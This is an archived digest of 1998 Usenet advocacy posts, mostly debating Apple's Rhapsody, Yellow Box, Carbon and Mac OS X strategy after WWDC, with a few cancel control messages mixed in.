References: <6ji90s$522$1@nnrp1.dejanews.com> <stone-ya02408000R1505982053050001@news.enetis.net> <6jj1ck$mq3$1@news12.ispnews.com>
Mime-Version: 1.0
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In article <6jj1ck$mq3$1@news12.ispnews.com>, "Zico"
<ZicoKnows@hotmail.com> wrote:
> x-no-archive: yes
>
> Kevin Stone wrote:
>
> >jmcvay@lynn.edu wrote:
> >
> >> i) Documents should not only include the ability to add
> >> comments, but also versioning.
> >
> >Why would you want to change the version? The compilers keep track of the
> >version for developers. Only the developer him self would be concered with
> >the version number. Besides... if you really need to do this you can
> >always use ResEdit to modify the "vers" resource.
>
>
> Document versioning, not app or library versioning. It's
> really nice for when you're collaborating on documents
> with other people, especially when you're not all at the
> same physical location. MS Office does a decent job of
> this, but I wouldn't really want it built into the OS itself.
>
> Z
Ahh.. thanks for clearing that up.
-Kevin Stone
Stone Entertainment
www.StoneEntertainment.com
(no email please)
From: stone@stoneentertainment.com (Kevin Stone)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: cancel <stone-ya02408000R1605980326480001@news.enetis.net>
Control: cancel <stone-ya02408000R1605980326480001@news.enetis.net>
Date: Sat, 16 May 1998 03:26:54 -0600
Organization: Stone Entertainment
Message-ID: <stone-ya02408000R1605980326540001@news.enetis.net>
cancel <stone-ya02408000R1605980326480001@news.enetis.net>
Date: Sat, 16 May 1998 05:27:30 -0400
From: casper@nb.net (Tim Scoff)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Message-ID: <casper-1605980527300001@wheat-d-19.monroeville.nb.net>
References: <see-below-0705980432050001@209.24.240.68> <6isflb$5tq@shelob.afs.com> <#eKPATDg9GA.280@upnetnews03>
In article <#eKPATDg9GA.280@upnetnews03>, "Tim Hawkins"
<TimHawkins@email.msn.com> wrote:
>Gregory H. Anderson wrote in message <6isflb$5tq@shelob.afs.com>...
>
>>BTW, you gotta love an OS that boots with a desktop full of advertising
>>channels. How many people *won't* know how to get rid of that crap, and
>>will live with that channels bar until they throw away their computer?
>>--
>>Gregory H. Anderson | "We're in the land of the blind,
>>Visionary Ophthalmologist | selling working eyeballs, and they
>>Anderson Financial Systems | balk at the choice of color." -- Tony
>>greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
>
>1 Close the channel bar, using the standard top right corner X close box.
>2 Anwser no to the dialog box that pops up, saying do you want to load it
>again in the future.
And how many people who use computers know enough to do that?
--
Tim Scoff
casper@nb.net
<http://www.nb.net/~casper/>
Technology: The advances that enabled all of us to forego instant communications via voice and re-assume the written word as the quickest way to get our point across.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: cancel <see-below-1505982158340001@209.24.241.97>
Control: cancel <see-below-1505982158340001@209.24.241.97>
Date: Sat, 16 May 1998 00:29:00 -0700
Message-ID: <see-below-1605980029000001@209.24.241.97>
cancel <see-below-1505982158340001@209.24.241.97>
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sat, 16 May 1998 00:28:57 -0700
Message-ID: <see-below-1605980028570001@209.24.241.97>
References: <andyba-ya02408000R1205981228550001@news> <6jafbi$hbb$1@larry.admin.phil.uu.nl> <andyba-ya02408000R1305981537240001@news> <6jib8s$o02$1@larry.admin.phil.uu.nl> <see-below-1505982158340001@209.24.241.97>
In article <see-below-1505982158340001@209.24.241.97>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> In article <6jib8s$o02$1@larry.admin.phil.uu.nl>, freek@phil.uu.nl (Freek
> Wiedijk) wrote:
>
> > Andy:
> >
> > >> Okay, okay, I surrender. Maybe it will be like you say.
> > >> It's still too hybrid to my taste _(and_ MacOS _and_ the 68k
> > [short rant]
> > >
> > >Nope, no 68K emulator.
> >
> > They promised it would run the old apps, although without the
> > multitasking etc. benefits, didn't they. Seems to me it
> > needs some 68k emulator somewhere.
>
>
> Inside the Blue Box only (which is still there, distinct from Carbon).
>
> Everything is 100% PPC native.
(insert word "else" in sentence above)
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: STEPWISE and Scott Kudos
Date: 16 May 1998 03:33:43 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jjfgn$c75$1@crib.bevc.blacksburg.va.us>
References: <355c8968.0@206.25.228.5>
In article <355c8968.0@206.25.228.5>, jkheit@xtdl.com wrote:
> I just wanted to say Kudos to Scott for his just unbelievable
> coverage of the conference.
I guess it's my turn to jump in here too -- most of the Q&A questions
he currently has listed on his "Friday Reports" page were from me, and
he's answered most of the questions I asked. And this while he's sick
and exhausted! I'm deeply impressed by his coverage and thank him for
all of his dedicated efforts.
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 16 May 98 00:16:49 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B1828B86-159FF2@207.217.155.190>
References: <6jj2lp$bpr$1@crib.bevc.blacksburg.va.us>
Mime-Version: 1.0
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nntp://news.earthlink.net/comp.sys.next.advocacy
>> Me
> Nathan
>So? I love it when people bring up past projects that Apple axed,
>without ever considering _why_ they were axed, and the similarity and
>differences in the situations, not only between the things that were
>killed but between the things that were not.
For the moment, overlook the technical issues and consider getting a
project funded or perhaps ponying up tens or hundreds of thousands of your
own in time or second mortgages or whatever. You will not find a lot of
people willing to do that anymore for an Apple technology that has not
shipped and still does not have all of the final details presented (e.g.
Yellow Box). That's just reality in May, 1998.
Carbon is a reaction to that reality, and is very good news. It tells
developers that what they do TODAY with TODAY'S shipping OS will very
likely be 99% compatible with the state of the art OS of tomorrow if
developers are reasonably careful today.
>> Unless you're doing specialty apps that can benefit from Rhapsody,
>
>_Any_ app can benefit from Rhapsody.
What if your app requires speech generation? It won't be possible to mix
and match Carbon and Yellow Box until OSX ships.
>> That is a sure bet.
>
>Why do you think there's less of a chance of them shipping Yellow
>than Carbon?
I think the chance is about the same. However, TODAY, there are millions of
users using something very very close to Carbon.
>> There is an installed base of real users right now
>
>Yes, that's a point I made -- developers can't deploy to the existing
>MacOS base with Yellow, but can with Carbon. OTOH, Yellow will ship in
>Rhapsody in _some_ form a year earlier than Carbon will ship in OS X.
Realistically, there won't be millions of Yellow Box users until Apple
deploys it royalty free on Windows or Apple ships it with mainstream PPC
boxes. Earliest conceivable time for either is 12 months.
>> I admire the developers who are going Yellow now...
>
>This is not similar to OpenDoc. OpenDoc was a middleware product with an
>uncertain niche and dubious necessity, IMHO. Yellow is helpful in _all_
>aspects of _all_ application development, and also allows for superb
>Windows cross-platform ability at all levels for producing "native"
>apps with few OS dependencies, expanding the market for developers.
>There is much less reason to kill it. (Of course this is going to piss
>off the OpenDoc advocates, but it's the way I see it.)
Doesn't piss me off in the least. I'll believe the Windows deployment story
when I actually see it work for a commercial quality app. Having mucked
with a cross-platform framework (ODF nee Bedrock) and having studied Java
AWT, I remain skeptical about the feasibility of solving many issues
without watering down the development model to a point where "native"
development makes more sense for a large class of apps.
My beef really isn't with the technical merits of Yellow Box, though. I
don't even really have a beef, for that matter! I like what Apple said
about Carbon. I like the tone of their OS strategy for this year. But it's
done nothing to improve my confidence in Apple's ability or willingness to
make the Yellow Box dream a reality. Non-technically-oriented investors
aren't going to be convinced AT ALL until Apple delivers. Which gets back
to the whole Carbon thing. Apple had to do that to keep people at the
table. Now Apple needs to deliver on its promises to keep people
interested. That's all.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got Cyberdog? Then try Rapid-I Bookmarks. Tried it? Then buy it! Point your
Cyberdog to the Hutchings Software web site.
From: Jay Martin <bazaar@best.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sat, 16 May 1998 02:42:19 -0700
Organization: Bazaar Software
Message-ID: <355D5EE0.7A4AA703@best.com>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <ericb-1105981859560001@132.236.171.104> <35579cfb.0@news.depaul.edu> <ericb-1505981740050001@132.236.171.104>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
Eric Bennett wrote:
> The Apple BOD is what keeps changing the CEOs and sanctioning the strategy
> shifts.
Much of the Board is new also, however, so I guess we'll have to wait and
see.
jay
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 16 May 1998 09:42:22 GMT
Organization: Idiom Communications
Message-ID: <6jjn1u$n53$6@news.idiom.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com>
Mime-Version: 1.0
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Cc: akira@home.com
akira@home.com may or may not have said:
-[snip]
-> More on Jordan. I can understand that he was probably rightfully tired of
-> everyone asking him about YB and Rhapsody. Even so, I felt he was
becoming
-> very beligerent towards speakers who were asking 'message' related
-> questions. By the end, I was felt very much like they were saying,
"Life's
-> tough, we don't care, so shut-up and sit down."
I didn't get there this year, but if I'm thinking of the same guy, he seemed
to be a bit of a snippy little twit last year at WWDC, too. He didn't know
squat about OpenStep then, and he seemed to greatly resent anyone in the room
correcting him when he said something wrong. Seeing him on the same stage
with Randy Nelson really made him look like the slow kid.
-> We wouldn't keep asking about the 'message' if the message from Apple had
-> been delivered unequivocally and press released. Thank goodness folks
-> like Ernest were there to be more understanding of our needs.
Ernie is right up there with Mike Paquette as one of Apple's best PR assets.
He knows his stuff, he knows *other* people's stuff, and he works like hell.
-jcr
Ernie: Keep On Prattlin', my man!
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Anyone remember a certain NeXT video tape?
Date: 16 May 1998 09:56:15 GMT
Organization: Idiom Communications
Message-ID: <6jjnrv$n53$8@news.idiom.com>
Mime-Version: 1.0
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I remember a video I saw back in '89 or so, in which two programmers were
given the same task to do, one using NeXTStep and the other using Sun's
developer tools. The Sun guy was more experienced, etc.
Anyway, it showed the elapsed time, showed the NeXT hacker finishing up and
playing video games while the Sun guy kept working at it, etc.
It might be a good idea to stage a similar, head to head contest, between a
guy using the yellow box and a guy using whatever MicroSquish is trying to
claim is a passable set of development tools. (What is it now? Visual Crap
++ with MicroSquish Foundering Classes?)
In fact, a series of these, from "build me a simple datebook app" to "Put
this existing parts database on the web", or even "build me a full-blown
e-commerce site" might make a very compelling story.
-jcr
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: STEPWISE and Scott Kudos
Date: 16 May 1998 09:59:29 GMT
Organization: Idiom Communications
Message-ID: <6jjo21$n53$9@news.idiom.com>
References: <355c8968.0@206.25.228.5> <6ji9ht$dtq$1@xmission.xmission.com>
<see-below-1505982323220001@209.24.241.97>
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Cc: see-below@not-my-address.com
Matthew Vaughan may or may not have said:
-> In article <6ji9ht$dtq$1@xmission.xmission.com>, Kristofer Jon Magnusson
-> <kris@xmission.xmission.com> wrote:
->
-> > In comp.sys.next.advocacy John Kheit <jkheit@xtdl.com> wrote:
-> > : I just wanted to say Kudos to Scott for his just unbelievable
-> > : coverage of the conference. I've *never* read coverage this good
-> > : before.
-> >
-> > Scott SMOKED the rest of the reporters out there.
-> >
-> > RestOfMacMedia.emulateCluefulReporter(scott));
->
->
-> Hear hear!
Umm,
[RestOfMacMedia emulateCluefulReporter:scott];
There, that's better. Java syntax is an eyesore.
-jcr
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 16 May 1998 10:08:03 GMT
Organization: Idiom Communications
Message-ID: <6jjoi3$n53$10@news.idiom.com>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <EsvxtF.7G0@micmac.com>
<see-below-1305982328510001@209.24.241.190> <355B1D3F.27453C81@nospam.com>
<6jfanm$73n$1@crib.bevc.blacksburg.va.us> <rex-1405981430100001@192.168.0.3>
<355b49e9.0@news.depaul.edu> <nagleEt1EDL.687@netcom.com>
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Cc: nagle@netcom.com
John Nagle may or may not have said:
-> Jonathan W Hendry <jhendry@shrike.depaul.edu> writes:
-> >Who wants to trust Microsoft in the long run?
->
-> Microsoft is actually reasonably predictable. If it advances their
-> goal of world domination, they'll do it. The first release will suck,
-> but after about three releases it will start to work OK. If they
-> announce something, it usually comes out. It's usually late, but
-> eventually it does ship.
->
-> Apple acts like a dysfunctional family. Every six months or so
there's
-> a huge change in direction. This happens before the goals of the previous
-> change in direction have been achieved. You can't rely on Apple.
We're not relying on Apple. We're relying on the guys who took them over.
-jcr
Date: Sat, 16 May 1998 07:04:26 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-1605980704270001@elk81.dol.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <ericb-1405981148530001@132.236.171.104> <stevenj-ya02408000R1405981340230001@news.mit.edu> <ericb-1505981832560001@132.236.171.104>
In article <ericb-1505981832560001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> In article <stevenj-ya02408000R1405981340230001@news.mit.edu>,
> stevenj@alum.mit.edu (Steven G. Johnson) wrote:
>
>
> > It seems clear that Apple is still committed to Yellow box, both from the
> > attention they are giving it at WWDC and the amount of effort they continue
> > to expend in improving it.
>
> YB, yes. YB for Windows is questionable. Will it run on NT5 and Win98?
> If yes, where are those announcements from Apple?
Eric,
Does Apple have to make an announcement every time MS sneezes?
Look, Win98 is identical to Win95 with just a few added features. There
should be few, if any, apps which break on Win98. Why in the world would
you worry that an app which runs on Win95 would break on Win98? There's
absolutely no reason to be concerned about YB on Win98.
NT 5.0 is similar, although there are more changes to NT 5 than Win98.
Still, the vast majority of NT 4 apps should run unchanged, and there's no
reason to think that the structural change is so great as to break YB. Of
course, if NT 5 comes out this century, we'll see.
Besides, Apple has said they're supporting WinNT/9x--I would assume that
means upgrades, as well (until someone can point to something that says
otherwise). Why should they have to keep repeating the statement that
they're supporting NT/9x every few months. Keep in mind the audience, as
well. Why bother with a Windows announcement at a Mac developer's
conference?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 16 May 1998 07:07:36 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-1605980707370001@elk81.dol.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559E64B.A3A9AF2@spamtoNull.com> <pulsar-ya02408000R1305981504530001@news-proxy.cso.uiuc.edu> <355B2F43.D365D2F1@spamtoNull.com> <andyba-ya02408000R1505981759220001@news>
In article <andyba-ya02408000R1505981759220001@news>,
andyba@corp.webtv.net (Andy Bates) wrote:
> In article <355B2F43.D365D2F1@spamtoNull.com>, Jonathan Harker
> <Limeyville@spamtoNull.com> wrote:
>
> > With a fully functional, working blue box environment as originally
> > described by Apple, there would have been no reason on earth why
> > Rhapsody *couldn't* have done exactly that.
>
> Yes, there is: because a crashing Blue-Box app can still bring down all
> other Blue-Box apps! It doesn't do much for stability if one apps can still
> take down the others, can it?
I believe carbon apps will also support that Wintel buzzword-Preemptive
Multitasking. Blue Box won't.
>
> > Oh, sure. It's all so simple. Apple is now on a TRI-OS strategy, and
> > that's just so simple and straightforward for everyone--MAC OS
> > 8/8.1/8.5, etc., Rhapsody, and now Mac OS 10 which will be significantly
> > different from both. Yes, it's such a simple, easy-to-follow strategy
> > that developers will be thrilled over it....
>
> Sure they will be! They have two choices: develop for Carbon APIs (will run
> on Mac OS, Rhapsody and Mac OS X) or develop for Yellow Box APIs (will run
> on Rhapsody or Mac OS X). What's so hard about that? Please don't gloss
> over what looks like a great OS strategy.
Actually, they have three choices:
Blue Box--leave their code unchanged and it will run on MacOS, Rhapsody,
and MacOSX. For the truly lazy.
Yellow Box--complete rewrite of code and run on MacOS, Rhapsody, MacOSX,
and WindowsNT/9x.
Carbon--make modest modifications to the code to get many of the
_run-time_ benefits of YB (but none of the developer benefits) and run on
MacOS, Rhapsody, MacOSX.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 16 May 1998 07:09:09 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-1605980709100001@elk81.dol.net>
References: <6jg26g$89f$1@crib.bevc.blacksburg.va.us> <B1824879-5DEAC@207.217.155.190>
In article <B1824879-5DEAC@207.217.155.190>, "Brad Hutchings"
<brad@hutchings-software.com> wrote:
> >> Me
> > Nathan
>
> >> Someone starting a new app should definitely consider YB _when MacOSX
> >> ships_. Right now, however, if you start a new app with hopes of
> bringing
> >> it to market by fall, you might be taking a significant risk writing to
> YB.
> >
> >Why is that? YB will be shipping in the fall. Even if you don't believe
> >that, you can still consider YB when Rhapsody ships, before OS X does.
>
> OpenDoc shipped on time too. It was also publicly rolled out on time. Then
> it was axed. Many of the developers who shipped stuff in January, 1997
> probably were around a little too long during the DR stages of OpenDoc.
You keep forgetting that no one was using OpenDoc. It failed and Apple
dropped it.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 16 May 1998 07:14:47 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-1605980714480001@elk81.dol.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <andyba-ya02408000R1205981008330001@news> <ericb-1405981159190001@132.236.171.104> <andyba-ya02408000R1505981738020001@news>
In article <andyba-ya02408000R1505981738020001@news>,
andyba@corp.webtv.net (Andy Bates) wrote:
> And before WWDC, Apple had NO schedule for shipping of a modern mainstream
> OS. So now we have a definitie date. Again, what's the problem?
The problem is that it's Apple. Too many people automatically assume that
everything Jobs does is bad.
If MS had made exactly the same announcements that Apple just made, their
stock would have jumped about 30% overnight, and the media would be
falling all over themselves about how they had just revolutionized the
industry. 48,000 Wintel trolls would be all over c.s.m.a bragging about
this great new strategy.
But Apple makes an announcement, and you get 40,000 of those trolls, a few
thousand honest questioners, and a few of the perennial "I love Macs, but
everything Apple does is stupid" people screaming about how it's a failed
strategy.
That's just the way it is.
> >
> > Yeah, right. This "adding a new feature set" excuse is the same BS we got
> > when they replaced Copland with Rhapsody. "We're killing our old
> > modernized OS but we'll give you something even better!"
>
> Bad comparison; Rhapsody was not killed.
It's not quite accurate, but one way to think of MacOS X is a "Rhapsody
client" software. The current Rhapsody becomes "Rhapsody server".
>
> > The current strategy is fine for defending the exist Mac market. Apple
> > *had* a plan for *expanding* by encouraging develpers to port to a
> > cross-platform environment that would run on Intel systems.
>
> Apple's plan was a "program for Yellow Box or nothing at all" plan, which
> didn't sit well with developers. Hopefully, the advanced YB development
> environment, along with its cross-platform capabilities, will attract
> developers. But until it does, we still have Carbon.
Exactly.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 16 May 1998 07:10:21 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-1605980710220001@elk81.dol.net>
References: <6jg26g$89f$1@crib.bevc.blacksburg.va.us> <B1824879-5DEAC@207.217.155.190> <6jj2lp$bpr$1@crib.bevc.blacksburg.va.us>
In article <6jj2lp$bpr$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> In article <B1824879-5DEAC@207.217.155.190>, "Brad Hutchings"
<brad@hutchings-software.com> wrote:
>
>
> > why not deploy to "Carbon" using PowerPlant?
>
> Because Yellow is better?
>
> > That is a sure bet.
>
> Why do you think there's less of a chance of them shipping Yellow
> than Carbon?
Anyone have an update on GNUStep? Will it be able to run YB apps? If so,
that should eliminate the concerns about Apple dropping YB.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 16 May 1998 07:17:37 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-1605980717380001@elk81.dol.net>
References: <ericb-1105981718430001@132.236.171.104> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <6jib4k$nu6$1@larry.admin.phil.uu.nl> <6jies9$bbm$1@crib.bevc.blacksburg.va.us> <355CCDEC.BB17EB97@milestonerdl.com>
In article <355CCDEC.BB17EB97@milestonerdl.com>, mark@milestonerdl.com wrote:
> As I remember, UFS has speed and no fragmentation (to speak of)
problems. I don't believe
> Speed or little fragmentation are words that normally describe HFS.
How is HFS+ intrinsically inferior to UFS in speed? Keep in mind that a
Rhapsody HFS+ would be a fully PPC native set of APIs in a fully native
OS. How much would the choice of file format change that?
Same thing on UFS. Isn't the degree of fragmentation dependent on how the
OS uses a file format and not on the file format itself?
>
> There is a Linux version of UFS that makes it the fastest.
>
> I tried to find a web page(s) that would do the comparison justice.
None I could find.
So there's no evidence to support your assertion. I'm not surprised.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 16 May 1998 11:07:30 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6jjs1i$d79$1@sun27.hrz.tu-darmstadt.de>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk> <6jhp08$5he@ragnarok.en.uunet.de> <6jhvgs$6sf$1@news.xmission.com> <6ji0m0$at4$1@crib.bevc.blacksburg.va.us> <6jiaqk$6sf$4@news.xmission.com> <6jijrm$rtj$1@news.seicom.net>
frank@this.NO_SPAM.net (Frank M. Siegert) wrote:
>In <6jiaqk$6sf$4@news.xmission.com> Don Yacktman wrote:
>> I'll sure miss Yap, though. It was nice to have a little interpreted
>> scratchpad for experimenting with things before committing them to compiled
>> code... and importing .eps images will be tougher now. Guess we'll need
>to
>> have Frank Seigert sell us an EPS->PDF distilling image filter now...
>
>Most likely you will have Yap.app back as it is already running here without
>DPS (BeYapTwo.app - currently in alpha testing - uses my own stuff and does
>not rely on DPS anymore). And for an EPS->PDF import filter - a port of the
>pstill core should be easy to do.
Fran-ky, Fran-ky, Fran-ky...
Alles wird gut. (H. Hoffstaette)
Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
Date: Sat, 16 May 1998 07:24:11 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Message-ID: <joe.ragosta-1605980724120001@elk81.dol.net>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <6ivm1r$9un$1@larry.admin.phil.uu.nl> <joe.ragosta-0905981301430001@elk37.dol.net> <SnowSim-1105980159280001@blv-ux100-ip3.nwnexus.net> <6j9488$e9u$1@reader1.reader.news.ozemail.net> <3558CA19.693D@sympatico.ca> <3559e232.11448506@100.100.100.1> <rmcassid-1305981222130001@dante.eng.uci.edu> <355b1e83.0@206.25.228.5> <6jg12k$o12$1@winter.news.erols.com> <rmcassid-1405982346120001@dialin9022.slip.uci.edu>
In article <rmcassid-1405982346120001@dialin9022.slip.uci.edu>,
rmcassid@uci.edu (Robert Cassidy) wrote:
> In article <6jg12k$o12$1@winter.news.erols.com>, "Ted Martin"
> <tmartin@bcpl.net> wrote:
>
> > That's a Main Street One.
>
> It's still a laptop, isn't it? It's new, fast, expandable...
>
> > Wall Street is $4000-6000, hence the name.
>
> And PC laptops can cost that much as well. So do you proclaim all PC
> laptops to be unreasonably expensive just because one of them is $6000?
Actually, the most expensive Wintel laptops are over $7,000. So I guess
that we can say that all Wintel laptops are too expensive using
TedLogic(tm).
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 16 May 1998 07:22:20 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-1605980722210001@elk81.dol.net>
References: <35593b48.6388203@198.0.0.100> <B17DF73F-8875F@209.109.225.96> <ericb-1405981243410001@132.236.171.104> <see-below-1405982044570001@209.24.240.162> <ericb-1505981831520001@132.236.171.104>
In article <ericb-1505981831520001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> In article <see-below-1405982044570001@209.24.240.162>,
> see-below@not-my-address.com (Matthew Vaughan) wrote:
>
> > I agree with that, but what are you disappointed about?
>
> Lack of focus on cross-platform YB tools. Lack of long-term commitment to
> shipping YB on Windows or to developing Rhapsody/Intel. There are sources
Huh? Apple has a stated OS strategy that includes Rhapsody / Intel. It's
part of their road map and hasn't been changed. Why do you expect them to
keep repeating themselves on things that haven't changed?
> that say it's probably dead and sources that say development will probably
> continue, but Apple has made no public indication one way or the other.
> They should have made an indication--this is, after all, their developer's
> conference, and these are the people who need to know what's going on.
It was a _Mac_ Developer's conference.
And why should they make a statement just repeating what they have said
many, many times. Should they send out a daily press release saying "we're
still selling Macs today"? No, you just assume that they're going to keep
selling them until they make a change. Same with Rhapsody/Intel. They have
a policy statement and it remains in effect until changed.
>
> People point out that no major developers were embracing YB, so Apple had
> to do Carbon. Well, Apple never really clarified to developers what its
> OS strategy was. Up until this week there was general confusion about the
> target market for Rhapsody 1.0. Would you have committed to developing
> for Rhapsody 1.0 under those uncertain circumstances?
>
> Apple shares a fair degree of responsibility for the creation of the
> problem it now claims to have solved with Carbon.
Probably true. But given the current environment, a large part of the
responsibility rests with people who insist on making assumptions rather
than reading what Apple said. In this case, Apple made no comments about
YB, so a reasonable assumption would be that it was unchanged. Instead,
you have people scurrying around saying "YB is dead".
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Sat, 16 May 1998 11:17:31 GMT
Organization: MiCMAC
Sender: news@micmac.com
Message-ID: <Et1rD7.8IF@micmac.com>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <zi461.1949$sy4.3542379@news.rdc1.sdca.home.com>
<EsvxtF.7G0@micmac.com> <4Kk61.2106$sy4.4060601@news.rdc1.sdca.home.com>
<Et04Eo.4x7@micmac.com> <uQ771.605$Fi2.704485@news.rdc1.sdca.home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Cc: rriley@yahoo.com
This was written in comp.sys.next.advocacy,comp.sys.mac.advocacy
(<uQ771.605$Fi2.704485@news.rdc1.sdca.home.com>) by Rex Riley:
> If you are a Venture Capitalist, ISV or Microsoft Developer, what pray
tell do
> you suggest that they base their forward looking prospectus' . As an
> investor, business executive or entrepreneur, there must be more tangible
> proof to base decisions than what is not said.
>
!!!!!!???????
I'm not used to meet these people!!!
Where your strange ideas are coming from???????
My opinions are first for myself! Then I can publish them for the two or
three people who share them. And since this is an advocacy groups this is
the place for people's opinions. Isn't it?
mc
Date: Sat, 16 May 1998 08:07:38 -0400
